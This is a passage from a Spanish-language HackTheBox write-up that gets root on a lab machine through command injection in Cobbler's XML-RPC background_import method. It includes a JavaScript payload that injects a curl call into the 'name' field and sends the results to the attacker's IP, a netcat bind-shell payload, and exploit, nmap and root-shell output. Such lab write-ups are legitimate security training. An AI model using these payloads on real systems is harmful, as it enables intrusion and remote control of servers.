</param>
</params>
</methodResponse>

Ahora, para solicitudes posteriores, lo metemos en <params>

Consiguiendo RCE
#

Si buscamos más acerca del CVE anterior, que de primeras no nos ha servido de nada, encontraremos un post en el que se menciona que mediante el método background_import es posible conseguir RCE a través de un campo “name”. Un payload podría ser el siguiente (completo):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
var xmlBody = `<?xml version='1.0'?>
<methodCall>
  <methodName>background_import</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>path</name>
            <value>
              <string>~/tmp</string>
            </value>
          </member>

          <member>
            <name>name</name>
            <value>
              <string>$(curl 10.10.16.82/itworked)</string>
            </value>
          </member>

        </struct>
      </value>
    </param>
    <param><value><string>D2zNqbL8+PHweqpJ76Q+aIw/BibtarMPRw==</string></value></param>
  </params>
</methodCall>`;
fetch('http://127.0.0.1:25151/', {
    method: 'POST',
    headers: {
        'Content-Type': 'text/xml'
    },
    body: xmlBody
})
.then(response => response.text())
.then(data => {
    fetch('http://10.10.16.82:80/?cobbler_datos=' + btoa(data));
})
.catch(error => {
    fetch('http://10.10.16.82:80/?error=' + btoa(error.toString()));
});

Aquí, el payload es curl 10.10.16.82/itworked (nuestra IP), y el segundo parámetro (D2zNq...MPRw==) es el token que hemos recibido antes, que cambia con cada sesión. Si lo mandamos, desde el servidor web vemos esto.

1
2
3
4
5
10.129.232.170 - - [10/Jun/2026 13:39:08] "GET /?cobbler_datos=PD94bWwgdmVyc2lvbj0nMS4wJz8+CjxtZXRob2RSZXNwb25zZT4KPHBhcmFtcz4KPHBhcmFtPgo8dmFsdWU+PHN0cmluZz4yMDI2LTA2LTEwXzEyMzkwOF9NZWRpYSBpbXBvcnRfYjQzN2IxMTdjY2U0NDQ5YTgxNGNhODZjZDNmM2QxZjE8L3N0cmluZz48L3ZhbHVlPgo8L3BhcmFtPgo8L3BhcmFtcz4KPC9tZXRob2RSZXNwb25zZT4K HTTP/1.1" 200 -
10.129.232.170 - - [10/Jun/2026 13:39:08] code 404, message File not found
10.129.232.170 - - [10/Jun/2026 13:39:08] "GET /itworked HTTP/1.1" 404 -
10.129.232.170 - - [10/Jun/2026 13:39:08] code 404, message File not found
10.129.232.170 - - [10/Jun/2026 13:39:08] "GET /itworked HTTP/1.1" 404 -

Así que efectivamente hemos conseguido RCE.

Habiendo comprobado que teníamos conectividad desde el servidor hacia afuera y tras mandar bastantes payloads de reverse shell, veo que no funcionaba ninguno (mkfifo, bash, php, etc.) por algún motivo desconocido, aunque posiblemente se tratase de un problema al codificar el payload, teniendo en cuenta que el payload es un payload anidado unas 3 veces en diferentes lenguajes. Pasado un rato, se me ocurre mandar uno de los más sencillos que puedo, un bind shell con nc, sin más.

1
2
// Mandamos esto como nombre.
<string>$(/usr/bin/nc -lvnp 9001 -e /bin/bash)</string>

Ahora ejecutamos el script.

1
2
3
4
5
6
7
$ python3 script.py
[*] Mandando solicitud con SQLi...
[-] El servidor ha devuelto un error: 500, pero el exploit puede haber funcionado igualmente. Compruébalo.
[*] Enviando petición POST con Stager hacia Stage local en /tmp...
[+] Petición enviada con éxito.
[*] Enviando petición POST con Stager hacia Stage en atacante...
[+] Petición enviada con éxito.

Esperamos a recibir una solicitud HTTP a nuestro servidor. Una vez la recibimos, comprobamos si el puerto está abierto.

1
2
3
4
5
6
7
$ nmap cobblestone.htb -p9001
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-10 14:31 -0400
Nmap scan report for cobblestone.htb (10.129.232.170)
Host is up (0.051s latency).

PORT     STATE SERVICE
9001/tcp open  tor-orport

Así que nos conectamos.

1
2
3
$ ncat cobblestone.htb 9001  
whoami
root

Y, finalmente, tenemos root.

Relacionados

HackTheBox - Connected

·15 mins
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.

HackTheBox - BoardLight

·7 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Dolibarr RCE, Reutilización de contraseñas, Explotación de binario SUID, CVEs públicos.

HackTheBox - DevArea

·23 mins
OS: Linux | Dificultad: Medium | Conceptos: Hoverfly, SSRF, Servicios, Flask, Writable bash